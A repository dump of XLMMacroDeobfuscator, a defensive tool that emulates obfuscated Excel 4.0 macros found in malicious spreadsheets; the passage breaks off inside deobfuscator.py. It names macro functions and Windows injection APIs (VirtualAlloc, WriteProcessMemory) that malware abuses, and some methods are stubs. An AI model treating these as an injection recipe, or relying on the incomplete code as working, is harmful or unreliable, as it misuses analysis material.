Showing preview only (243K chars total). Download the full file or copy to clipboard to get everything.
Repository: DissectMalware/XLMMacroDeobfuscator
Branch: master
Commit: 43114164d89b
Files: 21
Total size: 233.3 KB
Directory structure:
gitextract_wbzm6_v6/
├── .github/
│ └── FUNDING.yml
├── .gitignore
├── LICENSE
├── README.md
├── XLMMacroDeobfuscator/
│ ├── __init__.py
│ ├── boundsheet.py
│ ├── configs/
│ │ ├── __init__.py
│ │ ├── get_cell.conf
│ │ ├── get_window.conf
│ │ ├── get_workspace.conf
│ │ └── settings.py
│ ├── deobfuscator.py
│ ├── excel_wrapper.py
│ ├── xlm-macro-en.lark
│ ├── xlm-macro.lark.template
│ ├── xls_wrapper.py
│ ├── xls_wrapper_2.py
│ ├── xlsb_wrapper.py
│ └── xlsm_wrapper.py
├── requirements.txt
└── setup.py
================================================
FILE CONTENTS
================================================
================================================
FILE: .github/FUNDING.yml
================================================
# These are supported funding model platforms
github: ['DissectMalware'] # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2]
patreon: # Replace with a single Patreon username
open_collective: # Replace with a single Open Collective username
ko_fi: # Replace with a single Ko-fi username
tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel
community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry
liberapay: # Replace with a single Liberapay username
issuehunt: # Replace with a single IssueHunt username
otechie: # Replace with a single Otechie username
custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2']
================================================
FILE: .gitignore
================================================
# Byte-compiled / optimized / DLL files
__pycache__/
*.py[cod]
*$py.class
# C extensions
*.so
# Distribution / packaging
.Python
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib/
lib64/
parts/
sdist/
var/
wheels/
pip-wheel-metadata/
share/python-wheels/
*.egg-info/
.installed.cfg
*.egg
MANIFEST
# PyInstaller
# Usually these files are written by a python script from a template
# before PyInstaller builds the exe, so as to inject date/other infos into it.
*.manifest
*.spec
# Installer logs
pip-log.txt
pip-delete-this-directory.txt
# Unit test / coverage reports
htmlcov/
.tox/
.nox/
.coverage
.coverage.*
.cache
nosetests.xml
coverage.xml
*.cover
*.py,cover
.hypothesis/
.pytest_cache/
# Translations
*.mo
*.pot
# Django stuff:
*.log
local_settings.py
db.sqlite3
db.sqlite3-journal
# Flask stuff:
instance/
.webassets-cache
# Scrapy stuff:
.scrapy
# Sphinx documentation
docs/_build/
# PyBuilder
target/
# Jupyter Notebook
.ipynb_checkpoints
# IPython
profile_default/
ipython_config.py
# pyenv
.python-version
# pipenv
# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
# However, in case of collaboration, if having platform-specific dependencies or dependencies
# having no cross-platform support, pipenv may install dependencies that don't work, or not
# install all needed dependencies.
#Pipfile.lock
# PEP 582; used by e.g. github.com/David-OConnor/pyflow
__pypackages__/
# Celery stuff
celerybeat-schedule
celerybeat.pid
# SageMath parsed files
*.sage.py
# Environments
.env
.venv
env/
venv/
ENV/
env.bak/
venv.bak/
# Spyder project settings
.spyderproject
.spyproject
# Rope project settings
.ropeproject
# mkdocs documentation
/site
# mypy
.mypy_cache/
.dmypy.json
dmypy.json
# Pyre type checker
.pyre/
.idea/
result/
xyz/
.xyz/
================================================
FILE: LICENSE
================================================
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding those notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. We also recommend that a
file or class name and description of purpose be included on the
same "printed page" as the copyright notice for easier
identification within third-party archives.
Copyright 2020 Amirreza Niakanlahiji
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
================================================
FILE: README.md
================================================
# XLMMacroDeobfuscator
XLMMacroDeobfuscator can be used to decode obfuscated XLM macros (also known as Excel 4.0 macros). It utilizes an internal XLM emulator to interpret the macros, without fully performing the code.
It supports both xls, xlsm, and xlsb formats.
It uses [xlrd2](https://github.com/DissectMalware/xlrd2), [pyxlsb2](https://github.com/DissectMalware/pyxlsb2) and its own parser to extract cells and other information from xls, xlsb and xlsm files, respectively.
You can also find XLM grammar in [xlm-macro-lark.template](XLMMacroDeobfuscator/xlm-macro.lark.template)
# Installing the emulator
1. Install using pip
```
pip install XLMMacroDeobfuscator --force
```
or
```
pip install xlmmacrodeobfuscator[defusedxml] --force
```
2. Installing the latest development
```
pip install -U https://github.com/DissectMalware/XLMMacroDeobfuscator/archive/master.zip --force
```
# Running the emulator
To deobfuscate macros in Excel documents:
```
xlmdeobfuscator --file document.xlsm
```
To only extract macros in Excel documents (without any deobfuscation):
```
xlmdeobfuscator --file document.xlsm -x
```
To only get the deobfuscated macros and without any indentation:
```
xlmdeobfuscator --file document.xlsm --no-indent --output-formula-format "[[INT-FORMULA]]"
```
To export the output in JSON format
```
xlmdeobfuscator --file document.xlsm --export-json result.json
```
To see a sample JSON output, please check [this link](https://pastebin.com/bwmS7mi0) out.
To use a config file
```
xlmdeobfuscator --file document.xlsm -c default.config
```
default.config file must be a valid json file, such as:
```json
{
"no-indent": true,
"output-formula-format": "[[CELL-ADDR]] [[INT-FORMULA]]",
"non-interactive": true,
"output-level": 1
}
```
# Command Line
```
_ _______
|\ /|( \ ( )
( \ / )| ( | () () |
\ (_) / | | | || || |
) _ ( | | | |(_)| |
/ ( ) \ | | | | | |
( / \ )| (____/\| ) ( |
|/ \|(_______/|/ \|
______ _______ _______ ______ _______ _______ _______ _______ _________ _______ _______
( __ \ ( ____ \( ___ )( ___ \ ( ____ \|\ /|( ____ \( ____ \( ___ )\__ __/( ___ )( ____ )
| ( \ )| ( \/| ( ) || ( ) )| ( \/| ) ( || ( \/| ( \/| ( ) | ) ( | ( ) || ( )|
| | ) || (__ | | | || (__/ / | (__ | | | || (_____ | | | (___) | | | | | | || (____)|
| | | || __) | | | || __ ( | __) | | | |(_____ )| | | ___ | | | | | | || __)
| | ) || ( | | | || ( \ \ | ( | | | | ) || | | ( ) | | | | | | || (\ (
| (__/ )| (____/\| (___) || )___) )| ) | (___) |/\____) || (____/\| ) ( | | | | (___) || ) \ \__
(______/ (_______/(_______)|/ \___/ |/ (_______)\_______)(_______/|/ \| )_( (_______)|/ \__/
XLMMacroDeobfuscator(v0.2.0) - https://github.com/DissectMalware/XLMMacroDeobfuscator
Error: --file is missing
usage: deobfuscator.py [-h] [-c FILE_PATH] [-f FILE_PATH] [-n] [-x]
[--sort-formulas] [--defined-names] [-2]
[--with-ms-excel] [-s] [-d DAY]
[--output-formula-format OUTPUT_FORMULA_FORMAT]
[--extract-formula-format EXTRACT_FORMULA_FORMAT]
[--no-indent] [--silent] [--export-json FILE_PATH]
[--start-point CELL_ADDR] [-p PASSWORD]
[-o OUTPUT_LEVEL] [--timeout N]
optional arguments:
-h, --help show this help message and exit
-c FILE_PATH, --config-file FILE_PATH
Specify a config file (must be a valid JSON file)
-f FILE_PATH, --file FILE_PATH
The path of a XLSM file
-n, --noninteractive Disable interactive shell
-x, --extract-only Only extract cells without any emulation
--sort-formulas Sort extracted formulas based on their cell address
(requires -x)
--defined-names Extract all defined names
-2, --no-ms-excel [Deprecated] Do not use MS Excel to process XLS files
--with-ms-excel Use MS Excel to process XLS files
-s, --start-with-shell
Open an XLM shell before interpreting the macros in
the input
-d DAY, --day DAY Specify the day of month
--output-formula-format OUTPUT_FORMULA_FORMAT
Specify the format for output formulas ([[CELL-ADDR]],
[[INT-FORMULA]], and [[STATUS]]
--extract-formula-format EXTRACT_FORMULA_FORMAT
Specify the format for extracted formulas ([[CELL-
ADDR]], [[CELL-FORMULA]], and [[CELL-VALUE]]
--no-indent Do not show indent before formulas
--silent Do not print output
--export-json FILE_PATH
Export the output to JSON
--start-point CELL_ADDR
Start interpretation from a specific cell address
-p PASSWORD, --password PASSWORD
Password to decrypt the protected document
-o OUTPUT_LEVEL, --output-level OUTPUT_LEVEL
Set the level of details to be shown (0:all commands,
1: commands no jump 2:important commands 3:strings in
important commands).
--timeout N stop emulation after N seconds (0: not interruption
N>0: stop emulation after N seconds)
```
# Library
The following example shows how XLMMacroDeobfuscator can be used in a python project to deobfuscate XLM macros:
```python
from XLMMacroDeobfuscator.deobfuscator import process_file
result = process_file(file='path/to/an/excel/file',
noninteractive= True,
noindent= True,
output_formula_format='[[CELL-ADDR]], [[INT-FORMULA]]',
return_deobfuscated= True,
timeout= 30)
for record in result:
print(record)
```
* note: the xlmdeofuscator logo will not be shown when you use it as a library
# Requirements
Please read requirements.txt to get the list of python libraries that XLMMacroDeobfuscator is dependent on.
xlmdeobfuscator can be executed on any OS to extract and deobfuscate macros in xls, xlsm, and xlsb files. You do not need to install MS Excel.
Note: if you want to use MS Excel (on Windows), you need to install pywin32 library and use --with-ms-excel switch.
If --with-ms-excel is used, xlmdeobfuscator, first, attempts to load xls files with MS Excel, if it fails it uses [xlrd2 library](https://github.com/DissectMalware/xlrd2).
# Project Using XLMMacroDeofuscator
XLMMacroDeofuscator is adopted in the following projects:
* [CAPE Sandbox](https://github.com/ctxis/CAPE)
* [FAME](https://certsocietegenerale.github.io/fame/)
* [REMNUX](https://remnux.org/)
* [IntelOwl](https://github.com/intelowlproject/IntelOwl)
* [Assemblyline 4](https://cybercentrecanada.github.io/assemblyline4_docs/) by Canadian Centre for Cyber Security
* [oletools](https://github.com/decalage2/oletools) by [@decalage2](https://twitter.com/decalage2)
Please contact me if you incorporated XLMMacroDeofuscator in your project.
# How to Contribute
If you found a bug or would like to suggest an improvement, please create a new issue on the [issues page](https://github.com/DissectMalware/XLMMacroDeobfuscator/issues).
Feel free to contribute to the project forking the project and submitting a pull request.
You can reach [me (@DissectMlaware) on Twitter](https://twitter.com/DissectMalware) via a direct message.
================================================
FILE: XLMMacroDeobfuscator/__init__.py
================================================
__version__ = '0.2.7'
================================================
FILE: XLMMacroDeobfuscator/boundsheet.py
================================================
import re
class Cell:
_a1_cell_addr_regex_str = r"((?P<sheetname>[^\s]+?|'.+?')!)?\$?(?P<column>[a-zA-Z]+)\$?(?P<row>\d+)"
_a1_cell_addr_regex = re.compile(_a1_cell_addr_regex_str)
_r1c1_abs_cell_addr_regex_str = r"((?P<sheetname>[^\s]+?|'.+?')!)?R(?P<row>\d+)C(?P<column>\d+)"
_r1c1_abs_cell_addr_regex = re.compile(_r1c1_abs_cell_addr_regex_str)
_r1c1_cell_addr_regex_str = r"((?P<sheetname>[^\s]+?|'.+?')!)?R(\[?(?P<row>-?\d+)\]?)?C(\[?(?P<column>-?\d+)\]?)?"
_r1c1_cell_addr_regex = re.compile(_r1c1_cell_addr_regex_str)
_range_addr_regex_str = r"((?P<sheetname>[^\s]+?|'.+?')[!|$])?\$?(?P<column1>[a-zA-Z]+)\$?(?P<row1>\d+)\:?\$?(?P<column2>[a-zA-Z]+)\$?(?P<row2>\d+)"
_range_addr_regex = re.compile(_range_addr_regex_str)
def __init__(self):
self.sheet = None
self.column = ''
self.row = 0
self.formula = None
self.value = None
self.attributes = {}
self.is_set = False
def get_attribute(self, attribute_name):
# return default value if attributes doesn't cointain the attribute_name
pass
def __deepcopy__(self, memodict={}):
copy = type(self)()
memodict[id(self)] = copy
copy.sheet = self.sheet
copy.column = self.column
copy.row = self.row
copy.formula = self.formula
copy.value = self.value
copy.attributes = self.attributes
return copy
def get_local_address(self):
return self.column + str(self.row)
def __str__(self):
return "'{}'!{}".format(self.sheet.name,self.get_local_address())
@staticmethod
def convert_to_column_index(s):
number = 0
power = 1
for character in reversed(s):
character = character.upper()
digit = ((ord(character) - ord('A'))+1) * power
number = number + digit
power = power * 26
return number
@staticmethod
def convert_to_column_name(n):
string = ""
while n > 0:
n, remainder = divmod(n - 1, 26)
string = chr(ord('A') + remainder) + string
return string
@staticmethod
def parse_cell_addr(cell_addr_str):
cell_addr_str = cell_addr_str.strip('\"')
alternate_res = Cell._r1c1_abs_cell_addr_regex.match(cell_addr_str)
if alternate_res is not None:
sheet_name = alternate_res.group('sheetname')
sheet_name = sheet_name.strip('\'') if sheet_name is not None else sheet_name
column = Cell.convert_to_column_name(int(alternate_res.group('column')))
row = alternate_res.group('row')
return sheet_name, column, row
else:
res = Cell._a1_cell_addr_regex.match(cell_addr_str)
if res is not None:
sheet_name = res.group('sheetname')
sheet_name = sheet_name.strip('\'') if sheet_name is not None else sheet_name
column = res.group('column')
row = res.group('row')
return sheet_name, column, row
else:
return None, None, None
@staticmethod
def parse_range_addr(range_addr_str):
res = Cell._range_addr_regex.match(range_addr_str)
if res is not None:
sheet_name = res.group('sheetname')
sheet_name = sheet_name.strip('\'') if sheet_name is not None else sheet_name
startcolumn = res.group('column1')
startrow = res.group('row1')
endcolumn = res.group('column2')
endrow = res.group('row2')
return sheet_name, startcolumn, startrow, endcolumn, endrow
else:
return None, None, None
@staticmethod
def convert_twip_to_point(twips):
# A twip is 1/20 of a point
point = int(twips) * 0.05
return point
@staticmethod
def get_abs_addr(base_addr, offset_addr):
_, base_col, base_row = Cell.parse_cell_addr(base_addr)
offset_addr_match = Cell._r1c1_cell_addr_regex.match(offset_addr)
column_offset = row_offset = 0
if offset_addr_match is not None:
column_offset = int(offset_addr_match.group('column'))
row_offset = int(offset_addr_match.group('row'))
res_col_index = Cell.convert_to_column_index(base_col) + column_offset
res_row_index = int(base_row) + row_offset
return Cell.convert_to_column_name(res_col_index)+str(res_row_index)
class Boundsheet:
def __init__(self, name, type):
self.name = name
self.type = type
self.cells = {}
self.row_attributes = {}
self.col_attributes = {}
self.default_height = None
def get_row_attribute(self, row, attrib_name):
# default values if row doesn't exist in row_attributes
pass
def get_col_attribute(self, col, attrib_name):
# default value if row doesn't exist in row_attributes
pass
def add_cell(self, cell):
cell.sheet = self
self.cells[cell.get_local_address()] = cell
def get_cell(self, local_address):
result = None
if local_address in self.cells:
result = self.cells[local_address]
return
================================================
FILE: XLMMacroDeobfuscator/configs/__init__.py
================================================
================================================
FILE: XLMMacroDeobfuscator/configs/get_cell.conf
================================================
$A$1
1
1
1
0
General
1
0
0
0
0
0
TRUE
FALSE
25.71
78.75
Calibri
11
FALSE
FALSE
FALSE
11
1
FALSE
FALSE
0
1
1
FALSE
FALSE
[get.cell.xls]Macro1
FALSE
0
0
0
0
0
0
Normal
20.5
-122.75
298
-44
FALSE
FALSE
FALSE
FALSE
3
0
FALSE
Regular
1
FALSE
[get.cell.xls]Macro1
0
0
FALSE
get.cell.xls
================================================
FILE: XLMMacroDeobfuscator/configs/get_window.conf
================================================
[Book1]Sheet1
1
0
0
800
600
FALSE
TRUE
TRUE
TRUE
TRUE
0
1
FALSE
FALSE
FALSE
1
FALSE
FALSE
TRUE
FALSE
FALSE
3
FALSE
100
TRUE
TRUE
0.6
TRUE
[Book1]Sheet1
window.xls
================================================
FILE: XLMMacroDeobfuscator/configs/get_workspace.conf
================================================
Windows (64-bit) NT :.00
16
0
FALSE
TRUE
TRUE
TRUE
TRUE
/
0
-5
-6
1016.25
480
3
TRUE
TRUE
TRUE
0
C:\Users\user\AppData\Roaming\Microsoft\Excel\XLSTART
FALSE
Windows User
1
FALSE
FALSE
C:\Program Files\Microsoft Office\Office16
Worksheet
FALSE
TRUE
1
1
TRUE
TRUE
TRUE
FALSE
TRUE
C:\Program Files\Microsoft Office\Office16\LIBRARY
FALSE
FALSE
FALSE
TRUE
TRUE
Calibri
11
TRUE
FALSE
FALSE
4
1
TRUE
TRUE
1
C:\Users\user\Documents
TRUE
TRUE
FALSE
FALSE
TRUE
================================================
FILE: XLMMacroDeobfuscator/configs/settings.py
================================================
"""
Configuration settings for XLMMacroDeobfuscator
"""
SILENT = False # Turn logging on/off globally
================================================
FILE: XLMMacroDeobfuscator/deobfuscator.py
================================================
import argparse
import base64
import copy
import datetime
import hashlib
import json
import linecache
import math
import msoffcrypto
import operator
import os
import random
import sys
import time
import roman
from enum import Enum
from lark import Lark
from lark.exceptions import ParseError
from lark.lexer import Token
from lark.tree import Tree
from tempfile import mkstemp
from XLMMacroDeobfuscator.__init__ import __version__
from XLMMacroDeobfuscator.configs.settings import SILENT
from XLMMacroDeobfuscator.excel_wrapper import XlApplicationInternational
from XLMMacroDeobfuscator.xlsm_wrapper import XLSMWrapper
try:
from XLMMacroDeobfuscator.xls_wrapper import XLSWrapper
HAS_XLSWrapper = True
except:
HAS_XLSWrapper = False
if not SILENT:
print('XLMMacroDeobfuscator: pywin32 is not installed (only is required if you want to use MS Excel)')
from XLMMacroDeobfuscator.xls_wrapper_2 import XLSWrapper2
from XLMMacroDeobfuscator.xlsb_wrapper import XLSBWrapper
from XLMMacroDeobfuscator.boundsheet import *
from distutils.util import strtobool
class EvalStatus(Enum):
FullEvaluation = 1
PartialEvaluation = 2
Error = 3
NotImplemented = 4
End = 5
Branching = 6
FullBranching = 7
IGNORED = 8
class EvalResult:
def __init__(self, next_cell, status, value, text):
self.next_cell = next_cell
self.status = status
self.value = value
self.text = None
self.output_level = 0
self.set_text(text)
@staticmethod
def is_int(text):
try:
int(text)
return True
except (ValueError, TypeError):
return False
@staticmethod
def is_float(text):
try:
float(text)
return True
except (ValueError, TypeError):
return False
@staticmethod
def is_datetime(text):
try:
datetime.datetime.strptime(text, "%Y-%m-%d %H:%M:%S.%f")
return True
except (ValueError, TypeError):
return False
@staticmethod
def is_time(text):
try:
datetime.datetime.strptime(text, "%H:%M:%S")
return True
except (ValueError, TypeError):
return False
@staticmethod
def unwrap_str_literal(string):
result = str(string)
if len(result) > 1 and result.startswith('"') and result.endswith('"'):
result = result[1:-1].replace('""', '"')
return result
@staticmethod
def wrap_str_literal(data, must_wrap=False):
result = ''
if EvalResult.is_float(data) or (len(data) > 1 and data.startswith('"') and data.endswith('"') and must_wrap is False):
result = str(data)
elif type(data) is float:
if data.is_integer():
data = int(data)
result = str(data)
elif type(data) is int or type(data) is bool:
result = str(data)
else:
result = '"{}"'.format(data.replace('"', '""'))
return result
def get_text(self, unwrap=False):
result = ''
if self.text is not None:
if self.is_float(self.text):
self.text = float(self.text)
if self.text.is_integer():
self.text = int(self.text)
self.text = str(self.text)
if unwrap:
result = self.unwrap_str_literal(self.text)
else:
result = str(self.text)
return result
def set_text(self, data, wrap=False):
if data is not None:
if wrap:
self.text = self.wrap_str_literal(data)
else:
self.text = str(data)
class XLMInterpreter:
def __init__(self, xlm_wrapper, output_level=0):
self.xlm_wrapper = xlm_wrapper
self._formula_cache = {}
self.cell_addr_regex_str = r"((?P<sheetname>[^\s]+?|'.+?')!)?\$?(?P<column>[a-zA-Z]+)\$?(?P<row>\d+)"
self.cell_addr_regex = re.compile(self.cell_addr_regex_str)
self.xlm_parser = self.get_parser()
self.defined_names = self.xlm_wrapper.get_defined_names()
self.auto_labels = None
self._branch_stack = []
self._while_stack = []
self._for_iterators = {}
self._function_call_stack = []
self._memory = []
self._files = {}
self._registered_functions = {}
self._workspace_defaults = {}
self._window_defaults = {}
self._cell_defaults = {}
self._expr_rule_names = ['expression', 'concat_expression', 'additive_expression', 'multiplicative_expression']
self._operators = {'+': operator.add, '-': operator.sub, '*': operator.mul, '/': operator.truediv,
'>': operator.gt, '<': operator.lt, '<>': operator.ne, '=': operator.eq, '>=': operator.ge,
'<=': operator.le}
self._indent_level = 0
self._indent_current_line = False
self.day_of_month = None
self.invoke_interpreter = False
self.first_unknown_cell = None
self.cell_with_unsuccessfull_set = set()
self.selected_range = None
self.active_cell = None
self.ignore_processing = False
self.next_count = 0
self.char_error_count = 0
self.output_level = output_level
self._remove_current_formula_from_cache = False
self._start_timestamp = time.time()
self._iserror_count = 0
self._iserror_loc = None
self._iserror_val = False
self._now_count = 0
self._now_step = 2
self._handlers = {
# methods
'END.IF': self.end_if_handler,
'FORMULA.FILL': self.formula_fill_handler,
'FORMULA.ARRAY': self.formula_array_handler,
'GET.CELL': self.get_cell_handler,
'GET.DOCUMENT': self.get_document_handler,
'GET.WINDOW': self.get_window_handler,
'GET.WORKSPACE': self.get_workspace_handler,
'ON.TIME': self.on_time_handler,
'SET.VALUE': self.set_value_handler,
'SET.NAME': self.set_name_handler,
'ACTIVE.CELL': self.active_cell_handler,
'APP.MAXIMIZE': self.app_maximize_handler,
# functions
'ABS': self.abs_handler,
'ABSREF': self.absref_handler,
'ADDRESS': self.address_handler,
'AND': self.and_handler,
'CALL': self.call_handler,
'CHAR': self.char_handler,
'CLOSE': self.halt_handler,
'CODE': self.code_handler,
'CONCATENATE': self.concatenate_handler,
'COUNTA': self.counta_handler,
'COUNT': self.count_handler,
'DAY': self.day_handler,
'DEFINE.NAME': self.define_name_handler,
'DIRECTORY': self.directory_handler,
'ERROR': self.error_handler,
'FILES': self.files_handler,
'FORMULA': self.formula_handler,
'FOPEN': self.fopen_handler,
'FOR.CELL': self.forcell_handler,
'FSIZE': self.fsize_handler,
'FWRITE': self.fwrite_handler,
'FWRITELN': self.fwriteln_handler,
'GOTO': self.goto_handler,
'HALT': self.halt_handler,
'INDEX': self.index_handler,
'HLOOKUP': self.hlookup_handler,
'IF': self.if_handler,
'INDIRECT': self.indirect_handler,
'INT': self.int_handler,
'ISERROR': self.iserror_handler,
'ISNUMBER': self.is_number_handler,
'LEN': self.len_handler,
'MAX': self.max_handler,
'MIN': self.min_handler,
'MOD': self.mod_handler,
'MID': self.mid_handler,
'SQRT': self.sqrt_handler,
'NEXT': self.next_handler,
'NOT': self.not_handler,
'NOW': self.now_handler,
'OR': self.or_handler,
'OFFSET': self.offset_handler,
'PRODUCT': self.product_handler,
'QUOTIENT': self.quotient_handler,
'RANDBETWEEN': self.randbetween_handler,
'REGISTER': self.register_handler,
'REGISTER.ID': self.registerid_handler,
'RETURN': self.return_handler,
'ROUND': self.round_handler,
'ROUNDUP': self.roundup_handler,
'RUN': self.run_handler,
'ROWS': self.rows_handler,
'SEARCH': self.search_handler,
'SELECT': self.select_handler,
'SUM': self.sum_handler,
'T': self.t_handler,
'TEXT': self.text_handler,
'TRUNC': self.trunc_handler,
'VALUE': self.value_handler,
'WHILE': self.while_handler,
# Windows API
'Kernel32.VirtualAlloc': self.VirtualAlloc_handler,
'Kernel32.WriteProcessMemory': self.WriteProcessMemory_handler,
'Kernel32.RtlCopyMemory': self.RtlCopyMemory_handler,
# Future fuctions
'_xlfn.ARABIC': self.arabic_hander,
}
MAX_ISERROR_LOOPCOUNT = 10
jump_functions = ('GOTO', 'RUN')
important_functions = ('CALL', 'FOPEN', 'FWRITE', 'FREAD', 'REGISTER', 'IF', 'WHILE', 'HALT', 'CLOSE', "NEXT")
important_methods = ('SET.VALUE', 'FILE.DELETE', 'WORKBOOK.HIDE')
unicode_to_latin1_map = {
8364: 128,
129: 129,
8218: 130,
402: 131,
8222: 132,
8230: 133,
8224: 134,
8225: 135,
710: 136,
8240: 137,
352: 138,
8249: 139,
338: 140,
141: 141,
381: 142,
143: 143,
144: 144,
8216: 145,
8217: 146,
8220: 147,
8221: 148,
8226: 149,
8211: 150,
8212: 151,
732: 152,
8482: 153,
353: 154,
8250: 155,
339: 156,
157: 157,
382: 158,
376: 159
}
def __copy__(self):
result = XLMInterpreter(self.xlm_wrapper)
result.auto_labels = self.auto_labels
result._workspace_defaults = self._workspace_defaults
result._window_defaults = self._window_defaults
result._cell_defaults = self._cell_defaults
result._formula_cache = self._formula_cache
return result
@staticmethod
def is_float(text):
try:
float(text)
return True
except (ValueError, TypeError):
return False
@staticmethod
def is_int(text):
try:
int(text)
return True
except (ValueError, TypeError):
return False
@staticmethod
def is_bool(text):
try:
strtobool(text)
return True
except (ValueError, TypeError, AttributeError):
return False
def convert_float(self, text):
result = None
text = text.lower()
if text == 'false':
result = 0
